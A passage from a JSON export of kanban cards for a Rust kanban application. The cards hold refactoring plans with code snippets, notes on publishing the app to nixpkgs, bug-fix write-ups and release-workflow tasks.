            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:39.448929Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264743Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:06.526722Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264743Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Card dependencies",
        "updated_at": "2026-01-09T01:11:28.387265Z"
      },
      {
        "card_number": 267,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-31T01:21:07.816718755Z",
        "description": "The import is duplicated in both handle() and default_output_path() function bodies. Move it to module level. Ref: PR #205 review.",
        "due_date": null,
        "id": "82a2447d-7478-457a-9ddb-9a7212203b99",
        "points": 1,
        "position": 96,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856408515Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Move use std::path::Path to module level in migrate handler",
        "updated_at": "2026-04-04T23:44:58.924533686Z"
      },
      {
        "card_number": 265,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-31T00:50:20.386898562Z",
        "description": "## Problem\n\n`TuiContext` maintains its own parallel domain state (`boards`, `columns`, `cards`, `archived_cards`, `sprints`, `graph`) and reimplements the entire `KanbanOperations` trait with 650+ lines of hand-rolled command construction and state reading. Both CLI (`CliContext`) and MCP (`McpContext`) instead wrap `KanbanContext` and delegate all operations in ~5 lines per method. The TUI should follow the same pattern.\n\nAdditionally, `StateManager` creates its own store via `kanban_service::make_store()` and has a `execute_with_context()` method that manually builds a `CommandContext` from individual mutable refs — this is redundant now that `KanbanContext.execute()` does the same thing.\n\n## Solution\n\nAfter KAN-264 lifts undo/redo into `KanbanContext`, refactor the TUI to delegate to it.\n\n## Changes Required\n\n### 1. Rewrite `TuiContext` to wrap `KanbanContext`\n\n**File:** `crates/kanban-tui/src/tui_context.rs` (currently 653 lines → ~150 lines)\n\nReplace parallel state:\n```rust\n// BEFORE\npub struct TuiContext {\n    pub boards: Vec<Board>,\n    pub columns: Vec<Column>,\n    pub cards: Vec<Card>,\n    pub archived_cards: Vec<ArchivedCard>,\n    pub sprints: Vec<Sprint>,\n    pub graph: DependencyGraph,\n    pub state_manager: StateManager,\n}\n\n// AFTER\npub struct TuiContext {\n    pub inner: KanbanContext,\n    pub state_manager: StateManager,\n}\n```\n\nNew constructor — store created externally, passed to both KanbanContext and StateManager:\n```rust\npub fn new(save_file: Option<String>) -> KanbanResult<(Self, ...)> {\n    let (store, state_manager, save_rx, completion_rx) = if let Some(ref path) = save_file {\n        let store = kanban_service::make_store(path)?;\n        let (sm, rx, crx) = StateManager::new(Some(store.clone()))?;\n        (Some(store), sm, Some(rx), Some(crx))\n    } else { ... };\n    let inner = if let Some(s) = store {\n        KanbanContext::empty(s)\n    } else { ... };\n    Ok((Self { inner, state_manager }, save_rx, completion_rx))\n}\n```\n\nKanbanOperations delegation with save queuing via helper:\n```rust\nfn with_save<F, R>(&mut self, f: F) -> KanbanResult<R>\nwhere F: FnOnce(&mut KanbanContext) -> KanbanResult<R> {\n    let result = f(&mut self.inner)?;\n    // KanbanContext.execute() already captured undo snapshot internally\n    let snapshot = Snapshot::from_context(&self.inner);\n    self.state_manager.queue_snapshot(snapshot);\n    Ok(result)\n}\n\n// Each mutating method becomes a one-liner:\nfn create_board(&mut self, name: String, card_prefix: Option<String>) -> KanbanResult<Board> {\n    self.with_save(|ctx| ctx.create_board(name, card_prefix))\n}\n\n// Read-only methods are direct delegation:\nfn list_boards(&self) -> KanbanResult<Vec<Board>> { self.inner.list_boards() }\n```\n\n### 2. Simplify `StateManager`\n\n**File:** `crates/kanban-tui/src/state/mod.rs`\n\n- **Remove** `execute_with_context()` and `execute()` methods (KanbanContext handles command execution)\n- **Remove** `create_store()` private method\n- **Change** `StateManager::new()` to accept `Option<Arc<dyn PersistenceStore>>` instead of `Option<String>`\n- **Keep** all of: `capture_before_command`, `queue_snapshot`, `save_completed`, `has_pending_saves`, `is_dirty`, `mark_dirty`, `mark_clean`, `clear_history`, `can_undo`, `can_redo`, `history_mut`, `set_file_watcher`, `force_overwrite`, `reload_from_disk`, `close_save_channel`, `store()`, `instance_id()`\n- **Update** `reload_from_disk` to use `KanbanContext::reload()` or `apply_snapshot()` instead of `Snapshot::apply_to_app`\n\n### 3. Update field accesses (mechanical bulk change)\n\n~262 references across ~15 files: `ctx.boards` → `ctx.inner.boards` (same for columns, cards, sprints, archived_cards, graph)\n\n**Affected files by reference count:**\n| File | ~Refs |\n|------|-------|\n| `app/mod.rs` | 58 |\n| `handlers/detail_view_handlers.rs` | 47 |\n| `handlers/card_handlers.rs` | 33 |\n| `ui.rs` | 26 |\n| `handlers/popup_handlers.rs` | 19 |\n| `handlers/dialog_handlers.rs` | 11 |\n| `handlers/sprint_handlers.rs` | 11 |\n| `handlers/column_handlers.rs` | 11 |\n| `components/selection_dialog.rs` | 7 |\n| `handlers/board_handlers.rs` | 6 |\n| `handlers/navigation_handlers.rs` | 6 |\n| `render_strategy.rs` | 6 |\n| `state/mod.rs` | 6 |\n| `state/snapshot.rs` | 13 |\n| `handlers/filter_handlers.rs` | 2 |\n\n### 4. Update `TuiSnapshot` trait\n\n**File:** `crates/kanban-tui/src/state/snapshot.rs`\n\n`Snapshot::from_app` and `apply_to_app` read/write through `app.ctx.inner`:\n```rust\nfn from_app(app: &App) -> Self {\n    app.ctx.inner.snapshot()  // uses new KanbanContext method from KAN-264\n}\nfn apply_to_app(&self, app: &mut App) {\n    app.ctx.inner.apply_snapshot(self.clone());\n    // keep the sort field sync logic for UX state\n}\n```\n\n### 5. Update initial load path\n\n**File:** `crates/kanban-tui/src/app/mod.rs`\n\n`App::load_initial_state()` changes from manual deserialization to:\n```rust\npub async fn load_initial_state(&mut self) {\n    if let Some(store) = self.ctx.inner.store().cloned() {\n        if store.exists().await {\n            match KanbanContext::load(store).await {\n                Ok(loaded_ctx) => {\n                    self.ctx.inner = loaded_ctx;\n                    self.ctx.state_manager.mark_clean();\n                    self.ctx.state_manager.clear_history();\n                }\n                Err(e) => { /* error handling */ }\n            }\n        }\n    }\n}\n```\n\n### 6. Handle direct mutations\n\nSeveral handlers mutate domain state directly via `get_mut()` (e.g., external editor edits, sprint counter initialization, imports). These are mechanical changes from `self.ctx.cards.get_mut()` → `self.ctx.inner.cards.get_mut()` — covered by the bulk rename in step 3. `KanbanContext` fields are `pub` so this works.\n\n### 7. Update `App::execute_command`\n\nKeep `execute_command`/`execute_commands_batch` on `TuiContext` but implement using `KanbanContext::execute()`:\n```rust\npub fn execute_command(&mut self, command: Box<dyn Command>) -> KanbanResult<()> {\n    // KanbanContext.execute() handles undo capture internally (from KAN-264)\n    self.inner.execute(command)?;\n    self.state_manager.mark_dirty();\n    let snapshot = self.inner.snapshot();\n    self.state_manager.queue_snapshot(snapshot.into());\n    Ok(())\n}\n```\n\n## Tests\n\n**Update existing tests:**\n- `state/mod.rs`: `test_state_manager_creation`, `test_dirty_flag_after_execute` — adapt to new StateManager constructor and removal of `execute()`\n- `state/snapshot.rs`: update `ctx.inner.boards` paths\n- `tests/data_integrity_tests.rs`, `tests/conflict_detection_tests.rs`, `tests/import_failure_safety.rs`, `tests/export_import_tests.rs` — field path updates\n\n**New tests (TDD):**\n| Test | Description |\n|------|-------------|\n| `test_tui_context_delegates_create_board_to_inner` | Create board via TuiContext, verify it exists in inner.boards |\n| `test_tui_context_queues_save_after_mutation` | Verify save channel receives snapshot after operation |\n| `test_tui_context_read_operations_skip_save` | Verify read-only ops don't queue saves |\n| `test_state_manager_accepts_store_directly` | Construct StateManager with Arc store, verify it works |\n\n## Verification\n\n1. `cargo test --workspace` — all tests pass\n2. `cargo clippy --workspace` — no warnings\n3. Run TUI with `.json` and `.db` files — verify runtime behavior unchanged\n4. Verify undo/redo still works in TUI\n5. `grep -r \"execute_with_context\" crates/kanban-tui/` returns nothing (fully removed)\n\n## Files Modified\n\n| File | Change |\n|------|--------|\n| `crates/kanban-tui/src/tui_context.rs` | Rewrite: wrap KanbanContext, delegate KanbanOperations |\n| `crates/kanban-tui/src/state/mod.rs` | Remove execute methods, accept store directly |\n| `crates/kanban-tui/src/state/snapshot.rs` | Update field paths to ctx.inner |\n| `crates/kanban-tui/src/app/mod.rs` | Update field paths, initial load, ~58 refs |\n| `crates/kanban-tui/src/handlers/*.rs` | Update field paths (~140 refs across 8 files) |\n| `crates/kanban-tui/src/ui.rs` | Update field paths (~26 refs) |\n| `crates/kanban-tui/src/render_strategy.rs` | Update field paths (~6 refs) |\n| `crates/kanban-tui/src/components/selection_dialog.rs` | Update field paths (~7 refs) |\n| `crates/kanban-tui/Cargo.toml` | Remove `sqlite` feature, remove kanban-service feature forwarding |\n\n## Depends on\n\n- KAN-264 (Lift undo/redo into KanbanContext)\n\n## Prerequisite for\n\n- KAN-260 (Invert storage backend plugin architecture)\n\n## Additional Evidence (2026-04-03, KAN-274 settings branch)\n\nCommit `e1800ee` (\"fix: wire default_sprint_prefix from AppConfig into sprint creation\") is a clear example of the duplication tax this refactoring would eliminate. The fix had to be applied in **two places**:\n\n1. **`KanbanContext::create_sprint()`** (`kanban-service/src/context.rs`) — replaced hardcoded `\"sprint\"` with `self.app_config.effective_default_sprint_prefix()`.\n2. **`TuiContext::create_sprint()`** (`kanban-tui/src/tui_context.rs:522`) — identical logic, separately maintained, replaced `\"sprint\"` with `self.default_sprint_prefix.clone()`.\n\nAdditionally the TUI needed manual plumbing to stay in sync:\n- `TuiContext` gained a `default_sprint_prefix: String` field (`tui_context.rs`)\n- `App::new()` had to pass it through from `AppConfig` (`app/mod.rs`)\n- `settings_handlers.rs` had to sync it on config change (`self.ctx.default_sprint_prefix = ...`)\n- `sprint_handlers.rs` had its own fallback chain reading from `board.sprint_prefix` → `self.app_config.effective_default_sprint_prefix()`\n\nIf `TuiContext` simply wrapped `KanbanContext`, the service-layer fix would have been the only change needed — zero TUI modifications. This pattern repeats for every config-driven feature (card prefix, sprint prefix, storage backend) and will keep getting worse as more settings are added.",
        "due_date": null,
        "id": "88bd3f3c-5190-49bd-bdb8-94fbc58a2774",
        "points": 3,
        "position": 97,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856488811Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Simplify TuiContext to wrap KanbanContext like CLI/MCP",
        "updated_at": "2026-04-04T23:44:58.841546799Z"
      },
      {
        "card_number": 12,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-01-10T00:49:29.134517Z",
        "created_at": "2025-10-10T22:56:04.200355Z",
        "description": "# Steps to Add Your Project to Nixpkgs\n\n## 1. Add Yourself as a Maintainer\n\nFirst, you'll need to add yourself to the maintainer list in maintainers/maintainer-list.nix with a separate commit titled \"maintainers: add <your-handle>\".\n\n## 2. Create the Package Expression\n\nSince your Kanban is a Rust project, you'll use buildRustPackage from rustPlatform nixpkgs/doc/languages-frameworks/rust.section.md at master · NixOS/nixpkgs\n\n[default.nix](./default.nix) \n\n## 3. Determine Package Location\n\nDecide which pkgs/ subfolder your expression should live in, then add your expression under a directory like pkgs/applications/misc/kanban/default.nix or similar\n\n## 4. Add to Package Index\n\nAdd an entry in pkgs/top-level/all-packages.nix so nixpkgs can find your package \n\n## 5. Fork and Test\n\nFork the nixpkgs repository, make your changes in a local branch, then build from the root of nixpkgs with nix-build -A kanban Nixpkgs/Contributing - NixOS Wiki\n\n## 6. Handle the Hash Values\n\nFor the cargoHash, you can initially use an empty string or fake hash, and Nix will tell you the correct hash when you try to build nixpkgs/doc/languages-frameworks/rust.section.md at master · NixOS/nixpkgs\n\n## 7. Submit a Pull Request\n\nOnce your package builds successfully, format your code with a Nix formatter like alejandra, then open a PR on GitHub with the title format \"kanban: init at <version>\" \n\n## 8. Wait for Review\n\nBe patient - it's normal for PRs to sit for weeks. If you need help, you can reach out on NixOS Discourse or the Matrix channels\n\n## Important Considerations\n\nRead the commit conventions specific to pkgs and include relevant information in your commit messages so others can understand why changes were made \n\nThe maintainers field is for you as the Nix expression maintainer, not the project maintainer. By submitting this package, you're taking responsibility for ongoing maintenance like version bumps \n\n2025-10-31 18:44:57\n---\n\nI tried packaging my application in nixpkgs and submitting the pull request.\n\nThere are resources in the stash documenting the process I followed\n\nTLDR; I need more users to the repo.\n\nAs a repo with just a couple of users is not enough to justify the package being published into nixpkgs.\n\nIt was a good learning experience. I got some feedback on my pull request regarding the packaging.\n\nTODO\n---\n\nCorrect the packaging job in my nixpkgs fork\n\nGet more users to the application\n\nHow can we make this product worthy?\n\nImplementation of cli possibly\n\nMake an api to manage the app\n\n2025-12-20 23:47:18\n---\n\nTry to get this through again, and see if we can make a new release of the app\n\n  Suggestions for Improvement\n\n  1. Consider adding changelog to meta:\n  changelog = \"https://github.com/fulsomenko/kanban/releases/tag/v${finalAttrs.version}\";\n\n  2. Platform specificity: The package uses lib.platforms.all, but since it's a TUI application using crossterm, it may only work on Unix-like systems. Consider testing on Windows or using lib.platforms.unix if Windows support is uncertain.\n\n  Second point is valid. Wonder if this will show up in an eventual review\n\n2026-01-10 01:46\n---\n\nWe did it ! Hi nixpkgs. glad to be here. Hope to help out if I can.\n[Merged](https://github.com/NixOS/nixpkgs/pull/456042)\n",
        "due_date": null,
        "id": "d48f9085-57ff-42c5-9f42-3cbb3cafde93",
        "points": 1,
        "position": 97,
        "priority": "Critical",
        "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264752Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245013Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:57:38.672030Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264752Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:58:58.965814Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-15T20:57:38.672034Z",
            "status": "Completed"
          },
          {
            "ended_at": null,
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:58:58.965818Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Publish on nixpkgs",
        "updated_at": "2026-01-10T00:49:29.134518Z"
      },
      {
        "card_number": 134,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-01-10T02:34:01.947587Z",
        "created_at": "2025-11-17T23:09:18.569124Z",
        "description": "hitting like `c` is easy and we can loose track of cards that go across columns if we have not read the card name\n\nor performing any action is easy and it would be beneficial to quickly undo an action. in any context. `u` for keybind. command patterna and audit log dependencies? What is needed to make this happen?\n\nIt would be nice to have an undo function\n",
        "due_date": null,
        "id": "23b91acd-d6a8-4972-9065-8d0f0d2ba12f",
        "points": 4,
        "position": 98,
        "priority": "High",
        "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264708Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245017Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264708Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "undo action",
        "updated_at": "2026-01-10T02:34:01.947588Z"
      },
      {
        "card_number": 268,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-31T01:21:10.203382414Z",
        "description": "All 9 migrate integration tests in crates/kanban-cli/tests/migrate.rs go json -> sqlite. Add at least one test that migrates sqlite -> json to verify create_by_name(json, path) works when the locator has a non-json extension. This also exercises the sqlite backend as a source. Ref: PR #205 review.",
        "due_date": null,
        "id": "605a2d94-bbe3-4bbc-b156-453156fd0299",
        "points": 2,
        "position": 98,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856434902Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add sqlite-to-json migration test",
        "updated_at": "2026-04-04T23:44:58.966506274Z"
      },
      {
        "card_number": 170,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-01-10T15:27:50.315970Z",
        "created_at": "2026-01-10T12:08:03.000251Z",
        "description": "## Challenge\nDeleting cards/columns/sprints leaves orphaned data and broken relationships.\n\n## Impact\n- Orphaned dependency edges in graph\n- Cards become invisible in UI (deleted column reference)\n- Corrupted audit trail (deleted sprint references)\n\n## Tasks\n1. Add `remove_card_edges()` method to DependencyGraph\n2. Update DeleteCard command to clean graph edges\n3. Update ArchiveCard command to clean graph edges\n4. Update DeleteColumn to prevent deletion if cards exist\n5. Update DeleteSprint to unassign cards before deletion\n\n## Files to Modify\n- `crates/kanban-domain/src/dependencies/card_graph.rs`\n- `crates/kanban-domain/src/commands/card_commands.rs`\n- `crates/kanban-domain/src/commands/column_commands.rs`\n- `crates/kanban-domain/src/commands/sprint_commands.rs`\n\n## Acceptance Criteria\n- [ ] Graph edges cleaned when card deleted/archived\n- [ ] DeleteColumn fails if column has cards\n- [ ] DeleteSprint unassigns all cards\n- [ ] Integration test: delete_card_cleans_dependencies passes\n- [ ] Integration test: delete_column_with_cards_fails passes\n- [ ] Integration test: delete_sprint_unassigns_cards passes\n",
        "due_date": null,
        "id": "9f556627-d261-48f0-9e2d-ea7bcc722a6f",
        "points": 3,
        "position": 99,
        "priority": "Critical",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Implement Cascade Cleanup for Delete Operations",
        "updated_at": "2026-01-10T15:27:50.315970Z"
      },
      {
        "card_number": 269,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-31T01:21:12.231508334Z",
        "description": "StoreFactory::name() returns &str, so available_backend_names can return Vec<&str> to avoid unnecessary allocations. Ref: PR #205 review.",
        "due_date": null,
        "id": "0f25ef3d-cf7d-421e-9bac-ea9a90a039c0",
        "points": 1,
        "position": 99,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856388150Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Return Vec<&str> from available_backend_names",
        "updated_at": "2026-04-04T23:44:59.009954827Z"
      },
      {
        "card_number": 196,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-02-01T19:28:45.979587Z",
        "created_at": "2026-02-01T14:39:23.034980Z",
        "description": "## Problem\n\nThe current workflow bumps the version on every merge to develop. This causes:\n\n1. One version bump per feature/fix/refactor instead of one per release\n2. Risk of mismatch between the bumped version in Cargo.toml and the published version on crates.io\n3. Bump and publish can get out of sync, delaying the actual publish by one push to master\n\n## Current Flow\n\n1. PR merges to develop → aggregate-changesets.yml bumps version immediately\n2. PR from develop to master → release.yml publishes and tags\n\nThe gap between steps 1 and 2 is where things go wrong. The version is already bumped but not yet published, so any failure or extra commit can desync the two.\n\n## Desired Flow\n\n1. PRs merge to develop — changesets accumulate, NO version bump\n2. When ready to release, create PR from develop to master\n3. On merge to master: evaluate all accumulated changesets, determine aggregate bump type, bump version, update changelog, publish to crates.io, create tag — all atomically\n4. If any step fails, the whole thing rolls back (no partial state)\n\n## Research Needed\n\n- How to make bump + changelog + publish + tag atomic in a single workflow\n- What happens if crates.io publish fails mid-way (some crates published, some not)\n- Whether to keep the CI changeset validation on develop PRs (probably yes)\n- How to handle the develop → master sync after a release without conflicts\n- Review scripts/bump-version.sh, scripts/publish-crates.sh, and both workflows for the refactor\n\n## Risk\n\nThe previous workflow was designed to avoid exactly the sync issues we're now hitting. Need to be careful not to introduce new failure modes while fixing the current ones.",
        "due_date": null,
        "id": "dbac3738-007e-43a6-b1f3-b967ce304f09",
        "points": null,
        "position": 100,
        "priority": "Medium",
        "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T14:39:40.337223Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Redesign release workflow: defer version bump to master merge",
        "updated_at": "2026-02-01T19:28:45.979587Z"
      },
      {
        "card_number": 270,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-31T01:21:14.220029366Z",
        "description": "The default impl falls back to self.name(), which is a footgun if a backend is named differently from its extension. Making it required forces explicit declaration. Ref: PR #205 review.",
        "due_date": null,
        "id": "c9e4800b-f0cd-4420-ba0b-4f5ebdce15fa",
        "points": 1,
        "position": 100,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856456923Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Make default_extension a required method on StoreFactory",
        "updated_at": "2026-04-04T23:44:59.051440788Z"
      },
      {
        "card_number": 197,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-02-01T19:40:10.991376Z",
        "created_at": "2026-02-01T19:30:12.050976Z",
        "description": "Search cards by prefix+number (e.g. KAN-164) or just number (e.g. 164). Add CardIdentifierSearcher to the existing composite search in kanban-domain.",
        "due_date": null,
        "id": "7a900a9a-7db2-46cf-aa53-7863fb38e320",
        "points": null,
        "position": 101,
        "priority": "Medium",
        "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:38:07.162713Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Add card identifier search (PREFIX-NUMBER)",
        "updated_at": "2026-02-01T19:40:10.991376Z"
      },
      {
        "card_number": 271,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-31T01:21:14.934393324Z",
        "description": "PR #205 changeset says bump: patch but removes --from/--to flags, which is a breaking CLI change. Should be bump: minor at minimum. Ref: PR #205 review.",
        "due_date": null,
        "id": "30bae085-c407-4bff-b824-009095bfc1ff",
        "points": 1,
        "position": 101,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856440722Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Review changeset bump level for migrate CLI rework",
        "updated_at": "2026-04-04T23:44:59.091405512Z"
      },
      {
        "card_number": 194,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-02-02T19:22:49.304523Z",
        "created_at": "2026-02-01T13:41:03.481620Z",
        "description": "## Bug\n\nWhen assigning a card to a sprint via the TUI ('a' key), the wrong sprint gets assigned. Cards end up on old Completed sprints instead of the intended one.\n\n## Root Cause\n\nIndex mismatch between the sprint selection dialog and the selection handler:\n\n**Dialog rendering** (`selection_dialog.rs:194-202`) filters OUT Completed/Cancelled sprints:\n```rust\n.filter(|s| s.status != SprintStatus::Completed && s.status != SprintStatus::Cancelled)\n```\nShows: `[(None), Sprint #11 \"a-new-year\" (Planning)]`\n\n**Selection handler** (`popup_handlers.rs:209-215`) uses UNFILTERED list:\n```rust\nlet board_sprints: Vec<_> = self.ctx.sprints.iter()\n    .filter(|s| s.board_id == board_id)\n    .collect();\nif let Some(sprint) = board_sprints.get(selection_idx - 1) { ... }\n```\nUnfiltered: `[Sprint #1 (Completed), Sprint #6 (Completed), ..., Sprint #11 (Planning)]`\n\nUser selects index 1 (Sprint #11 in filtered list) -> handler does `get(0)` on unfiltered list -> gets Sprint #1 \"an-eventful-october\".\n\n## Affected Code\n\n- `crates/kanban-tui/src/handlers/popup_handlers.rs:209-215` -- single card assignment\n- `crates/kanban-tui/src/handlers/popup_handlers.rs:337-343` -- multi-card assignment (same bug)\n\n## Fix\n\nApply the same Completed/Cancelled filter in the handler that the dialog uses:\n```rust\nlet board_sprints: Vec<_> = self.ctx.sprints.iter()\n    .filter(|s| s.board_id == board_id)\n    .filter(|s| s.status != SprintStatus::Completed && s.status != SprintStatus::Cancelled)\n    .collect();\n```\n\nBoth single-card and multi-card paths need the fix.\n\n## Notes\n\n- CLI is not affected (uses UUID directly, no index-based selection)\n- MCP is not affected (no sprint assignment tool yet)",
        "due_date": null,
        "id": "54197834-f36b-453c-9c15-68de00f17186",
        "points": 5,
        "position": 102,
        "priority": "Critical",
        "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T13:46:38.854326Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Fix TUI sprint assignment selecting wrong sprint (index mismatch)",
        "updated_at": "2026-02-02T19:22:49.304524Z"
      },
      {
        "card_number": 272,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-31T01:21:16.382665349Z",
        "description": "create_by_name and available_backend_names do linear scans. A HashMap would be more idiomatic if the registry grows. Ref: PR #205 review.",
        "due_date": null,
        "id": "34acc5ac-8cae-4c58-b132-49662cde3a87",
        "points": 1,
        "position": 102,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856484008Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Consider HashMap for StoreRegistry factory lookup",
        "updated_at": "2026-04-04T23:44:59.132480388Z"
      },
      {
        "card_number": 273,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-03-31T21:15:49.892549528Z",
        "description": "## Problem\n\nEvery new keybinding must be added in two places:\n1. `keybindings/` registry (for footer display and help popup)\n2. `handle_key_event()` hardcoded match in `app/mod.rs` (for actual dispatch)\n\nThese can silently drift apart — a key can appear in help but do nothing, or work but not show in help.\n\n## Complications\n\n- **Context-dependent keys**: `n` creates board or card depending on focus; `e` edits board or card\n- **Multi-key sequences**: `gg` needs pending-key state\n- **Terminal access**: some handlers (`e`, card detail editing) need `terminal` + `event_handler` params that `execute_action()` doesn't receive\n- **Return value**: some branches set `should_restart_events = true`\n\n## Proposed Approach\n\n1. Extend `KeybindingAction` to carry context (e.g. `CreateItem` instead of separate `CreateBoard`/`CreateCard`, resolved at dispatch time by focus)\n2. Pass `terminal` and `event_handler` into `execute_action()` so all handlers can be dispatched uniformly\n3. Add a `needs_restart` return value from `execute_action()`\n4. Handle multi-key sequences (`gg`) as a pre-processing step before dispatch\n5. Make the registry the single source of truth — remove the hardcoded match in `handle_key_event` for Normal mode\n6. All other modes (CardDetail, BoardDetail, etc.) could follow the 